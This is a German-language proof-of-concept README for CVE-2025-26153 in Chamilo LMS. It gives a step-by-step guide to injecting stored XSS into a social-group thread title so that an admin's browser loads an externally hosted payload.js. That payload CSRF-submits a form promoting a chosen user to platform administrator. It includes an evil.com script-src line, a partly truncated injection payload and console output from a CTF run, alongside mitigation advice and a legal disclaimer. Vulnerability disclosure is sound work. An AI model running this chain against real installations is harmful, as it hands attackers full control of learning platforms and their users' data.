Chamilo LMS (<= v2.0) – POC: Stored XSS zu Privilegieneskalation [CVE-2025-26153]
Überblick
Dieses Repository enthält einen Proof of Concept, der eine gespeicherte Cross-Site-Scripting-Schwachstelle (XSS) in Chamilo LMS demonstriert, die ausgenutzt werden kann, um eine Privilegieneskalation von einem normalen Benutzer zum Plattform-Administrator zu erreichen.
Diese Schwachstelle ist indiziert und gepatcht: https://nvd.nist.gov/vuln/detail/CVE-2025-26153
Details zur Schwachstelle
- Anwendung: Chamilo LMS <= v2.0
- Schwachstellentyp: Gespeichertes XSS, das zu Privilegieneskalation führt
Technische Details
Verwundbare Codestellen:
-
/public/main/forum/forumqualify.php – Zeile 277
$form->addLabel(get_lang('Thread'), $threadEntity->getTitle());
-
/public/main/forum/viewforum.php – Zeile 369
.$thread->getTitle().'</a>';
-
Es gibt noch mehr!
Grundursache:
- Forenthread-Titel werden ohne ordnungsgemäße Bereinigung gespeichert
- Thread-Titel werden an mehreren Stellen ohne HTML-Escaping angezeigt
- Es gibt keine Content Security Policy (CSP), die die XSS-Ausführung verhindert
Schritt-für-Schritt-Anleitung zur Privilegieneskalation
Phase 1: Datensammlung
Schritt 1: Informationen zum Zielbenutzer sammeln
- Melden Sie sich bei Chamilo LMS an.
- Navigieren Sie zu
Social Network -> Personal Data.
- Öffnen Sie
user_info und notieren Sie die folgenden Informationen:
- Benutzer-ID
- Benutzername
- Vorname
- Nachname
- E-Mail-Adresse
Schritt 2: Benutzerdefiniertes Payload generieren
- Führen Sie den Payload-Generator aus:
python generate_payload.py
- Geben Sie die Ziel-Benutzer-ID aus Schritt 1 ein.
- Geben Sie die Beschreibungsinformationen ein, die Sie nicht geändert haben möchten (oder geben Sie neue Werte an).
- Das Skript generiert eine angepasste
payload.js-Datei.
Schritt 3: Payload extern hosten
- Laden Sie die generierte
payload.js auf einen öffentlichen Hosting-Dienst hoch:
- GitHub Gist (empfohlen)
- GitHub Pages
- Ihr eigener Webserver
- Notieren Sie die direkte URL zur Payload-Datei.
Phase 2: XSS-Injektion und -Ausführung
Schritt 4: Soziale Gruppen aufrufen
- Melden Sie sich bei Chamilo LMS an (kann mit jedem Benutzerkonto erfolgen).
- Navigieren Sie zu
Social Network -> Social groups.
Schritt 5: Sozialer Gruppe beitreten oder neue Gruppe erstellen
- Treten Sie einer bestehenden sozialen Gruppe bei, oder
- Erstellen Sie bei Bedarf eine neue soziale Gruppe.
Schritt 6: XSS-Payload bereitstellen
- Erstellen Sie einen neuen Thread in der sozialen Gruppe.
- Geben Sie im Feld für den Thread-Titel den folgenden XSS-Payload ein:
eval(x.responseText);x.send()">
- Ersetzen Sie
YOUR-HOST-SERVER durch Ihre tatsächliche Hosting-URL.
- Senden Sie den Thread ab.
Schritt 7: Privilegieneskalation auslösen
- Warten Sie, bis ein Benutzer mit Administratorrechten die soziale Gruppe ansieht.
- Wenn der Administrator den schädlichen Thread ansieht, wird der XSS-Payload automatisch im Hintergrund ausgeführt.
- Die Privilegieneskalation erfolgt NICHT lautlos - der Administrator wird zur Benutzerliste umgeleitet.
- Der angegebene Zielbenutzer wird ohne sichtbaren Hinweis zum Plattform-Administrator befördert.
Phase 3: Verifizierung
Schritt 8: Privilegieneskalation bestätigen
- Melden Sie sich als Zielbenutzer an.
- Überprüfen Sie, ob Administratorrechte gewährt wurden.
- Verifizieren Sie den Zugriff auf administrative Funktionen.
Verwendung des Payload-Generators
Das Skript generate_payload.py ermöglicht die Anpassung des Privilegieneskalationsangriffs:
Eingabeparameter:
- Ziel-Benutzer-ID
- Neuer Benutzername
- Neues Passwort (optional)
- Offizieller Code
- E-Mail-Adresse
- Vorname, Nachname, Telefon (optional)
Beispielhafter Angriffsablauf
1. Attacker creates malicious forum thread
└── Title: <script src=//evil.com/payload.js></script>
2. Admin user browses forum and views thread
└── Browser loads and executes external JavaScript
3. Payload creates hidden form with privilege escalation data
└── Targets specific User ID for promotion to admin
4. Form auto-submits via CSRF attack
└── Uses admin's session cookies automatically
5. Target user becomes platform administrator
└── Attacker gains full platform control
Mitigationsstrategien
Sofortige Maßnahmen
-
Eingabebereinigung
// Before
$threadEntity->getTitle()
// After
htmlspecialchars($threadEntity->getTitle(), ENT_QUOTES, 'UTF-8')
-
Ausgabekodierung
<!-- Before -->
{{ thread.title }}
<!-- After -->
{{ thread.title|escape }}
-
Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';
Langfristige Lösungen
- Umfassendes Framework zur Eingabevalidierung implementieren
- Regelmäßige Sicherheits-Code-Reviews
- Automatisierte Sicherheitstests in der CI/CD-Pipeline
- Sicherheitsschulungen für das Entwicklungsteam
Erkennung & Überwachung
Log-Analyse
Überwachen Sie auf:
- Ungewöhnliche Erstellung/Änderung von Administratorbenutzern
- Verdächtige Forenthread-Titel, die HTML/JavaScript enthalten
- Laden externer Skripte von nicht vertrauenswürdigen Domänen
Rechtlicher Hinweis
WICHTIGER RECHTLICHER HINWEIS
Dieser Proof of Concept wird nur für Bildungs- und autorisierte Sicherheitstestzwecke bereitgestellt.
- Nur gegen Systeme verwenden, die Sie besitzen oder für die Sie eine ausdrückliche schriftliche Testgenehmigung haben.
- Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen illegal.
- Diese Forschung soll Organisationen dabei helfen, ihre Sicherheitslage zu verbessern.
- Die Autoren sind nicht für einen Missbrauch dieser Informationen verantwortlich.
Forschungs-Credits
Entdeckung & Analyse: US Cyber Combine
Testumgebung: USCG CTF Environment
Konsolenausgabe des erfolgreichen Angriffs:
XSS Payload loaded successfully!
Target User ID: 9
Current location: http://cve-hunting.ctf.uscybergames.com:8000/resources/usergroups/show/5
Form created with action: http://cve-hunting.ctf.uscybergames.com:8000/main/admin/user_edit.php?user_id=9
Submitting privilege escalation form for user_id 9
Form has 66 fields
Form submission triggered!
Fetch response status: 200